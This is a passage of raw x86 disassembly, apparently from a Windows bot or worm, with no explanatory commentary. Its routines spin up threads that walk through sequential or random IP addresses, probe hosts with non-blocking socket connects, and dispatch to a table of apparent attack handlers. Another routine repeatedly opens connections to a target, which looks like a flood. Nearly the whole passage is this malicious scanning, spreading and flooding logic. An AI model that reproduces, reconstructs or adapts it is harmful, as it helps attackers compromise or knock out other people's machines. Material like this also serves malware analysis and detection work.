push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
add esp, 2Ch
push edi
call dword_4270D4 ; ExitThread
sub_40BB65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB30[eax*8]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_431CF0
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CD0
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C600+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_43180C[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBEC
push 104h
push esi
push ebx
mov dword_4CDDFC, eax
mov dword_4CDDF8, ebx
call dword_427078 ; GetModuleFileNameA
mov edi, offset byte_429110
push 103h
push edi
push offset dword_4CDCF0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBE8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE80, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDE00
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE84, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDE00
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE84, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDFC
push offset unk_42C20C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDF4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBE8
push offset sub_412197
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CDDF4
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE88, ebx
jnz short loc_40BEE7
push 32h
call dword_427080 ; Sleep
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431E10
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB720
mov esi, offset dword_4CDE94
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE0A4, eax
mov dword_4CE0A0, ebx
call dword_427078 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4CDF98
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE90, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE128, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE0A8
call sub_41BFD0
add esp, 0Ch
mov dword_4CE12C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE0A8
call sub_41BFD0
add esp, 0Ch
mov dword_4CE12C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE0A4
push offset unk_431DDC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE09C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE90
push offset sub_40F3AA
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CE09C
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE130, ebx
jnz short loc_40C00B
push 32h
call dword_427080 ; Sleep
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431DA8
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431814[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE720
cmp [ebp+arg_90], bl
mov dword_4CDB54, eax
mov eax, [ebp+arg_110]
mov dword_4CDB48, eax
mov eax, [ebp+arg_138]
mov dword_4CDB50, ebx
mov dword_4CDBD8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB58
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBDC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB58
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBDC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB54
lea eax, [ebp+var_204]
push offset unk_431D78
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB4C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB48
push offset sub_40F108
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CDB4C
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBE0, ebx
jnz short loc_40C12E
push 32h
call dword_427080 ; Sleep
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D40
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431810[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3C4
push 104h
push esi
push ebx
call dword_427078 ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4DC, ebx
mov dword_4CE4C8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE13C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE138, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4C8
mov dword_4CE4D4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4D8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C194
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4D0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE138
push offset sub_40FAD6
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, dword_4CE4D0
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4E4, ebx
jnz short loc_40C256
push 32h
call dword_427080 ; Sleep
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_431D0C
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB30h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB90C ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9E0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB30[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: sub_40BB65+59p
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA64 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9E4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA80 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB98C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9CC ; select
push esi
mov edi, eax
call dword_4CBA7C ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E924[ebx]
cmp dword_4CBB34[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E924[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E6C
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E720[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB30
call dword_4270DC ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_431E44
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+2A8h+var_2A8], offset dword_4CDB30
call dword_4270D8 ; RtlLeaveCriticalSection
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_431804[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
call dword_427080 ; Sleep
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
sub_40C3E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA24 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB30[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB30
push esi
call dword_4270E4 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4270E0 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F50
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C600+99j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C600+63j
; sub_40C600+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_427080
mov edi, ebx
mov dword_4CBB34[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C600+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F1C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E924[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C600+164j
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi ; Sleep
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C600+159j
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EE4
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C600+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C600+E6j
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40C7B0: ; CODE XREF: sub_40C600+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB30[eax*8]
push eax
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EA4
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C600+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4CBB34[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB30
call dword_4270E4 ; RtlDeleteCriticalSection
loc_40C835: ; CODE XREF: sub_40C600+228j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_40C845: ; CODE XREF: sub_40C600+19Ej
; sub_40C600+25Dj
mov eax, [ebp+var_2C]
cmp dword_4CBB34[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi ; Sleep
jmp short loc_40C845
sub_40C600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near ; DATA XREF: sub_40C92C+7Bo
; sub_40CA1D+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9E4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA64 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB98C ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E92C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA70 ; inet_ntoa
push eax
mov edi, offset dword_4CE4F4
push offset unk_431F84
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA7C ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C95A: ; CODE XREF: sub_40C92C+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_431FAC
push eax
call sub_41C266
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43E720
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C9C6
loc_40C9BB: ; CODE XREF: sub_40C92C+98j
cmp [ebp+var_C], edi
jnz short loc_40C9C6
push 32h
call esi ; Sleep
jmp short loc_40C9BB
; ---------------------------------------------------------------------------
loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj
; sub_40C92C+92j
push [ebp+var_4]
call dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB90C ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9E0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41CD20
add esp, 0Ch
jmp loc_40C95A
sub_40C92C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_432000
push eax
call sub_41C266
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_43E720
push eax
call sub_41BFD0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40CAB7
loc_40CAAC: ; CODE XREF: sub_40CA1D+98j
cmp [ebp+var_8], edi
jnz short loc_40CAB7
push 32h
call esi ; Sleep
jmp short loc_40CAAC
